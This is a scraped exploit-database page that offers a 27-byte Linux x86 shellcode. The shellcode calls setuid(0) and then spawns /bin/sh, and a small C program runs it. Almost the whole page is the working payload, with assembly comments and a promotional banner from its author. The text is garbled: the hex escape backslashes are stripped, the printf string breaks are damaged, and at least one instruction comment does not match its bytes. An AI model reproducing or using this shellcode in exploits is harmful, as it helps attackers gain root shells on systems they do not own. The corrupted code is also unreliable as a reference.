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linux/x86 setuid(0) && execve(/bin/sh,0,0) 27 bytes

Posted on 15 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 setuid(0) &amp;&amp; execve(/bin/sh,0,0) 27 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=============================================================
linux/x86 setuid(0) &amp;&amp; execve(/bin/sh,0,0) shellcode 27 bytes
=============================================================

#Special Thanks Inj3ct0r Exploit DataBase
#I Love Inj3ct0r.Com
#include &lt;stdio.h&gt;

const char sc[]= &quot;x31xdb&quot; //xor ebx,ebx
 &quot;x8dx43x17&quot; //LEA eax,[ebx + 0x17] /LEA is FASTER than push/pop!
 &quot;x99&quot; //cdq
 &quot;xcdx80&quot; //int 80 //setuid(0) should returns 0 right? ;)
 &quot;xb0x0b&quot; //mov al,0bh
 &quot;x52&quot; //push edx /Termina la cadena //bin/sh con un 0
 &quot;x68x6ex2fx73x68&quot; //push dword &quot;hs/n&quot;
 &quot;x68x2fx2fx62x69&quot; //push dword &quot;ib//&quot;
 &quot;x89xe3&quot; //mov ebx,edx
 &quot;x89xd1&quot; //mov ecx,edx
 &quot;xcdx80&quot;; //int 80h

int main()
{
 printf(&quot;
SMALLEST SETUID &amp;&amp; EXECVE GNU/LINUX x86 STABLE SHELLCODE &quot;
 &quot;WITHOUT NULLS THAT SPAWNS A SHELL&quot;
 &quot;

Coded by vlan7&quot;
 &quot;
	 + http://www.vlan7.org&quot;
 &quot;

[+] Date: 4/Jul/2009&quot;
 &quot;
[+] Thanks to: sch3m4&quot;
 &quot;

[+] Shellcode Size: %d bytes

&quot;, sizeof(sc)-1);
 (*(void (*)()) sc)();
 return 0;
}


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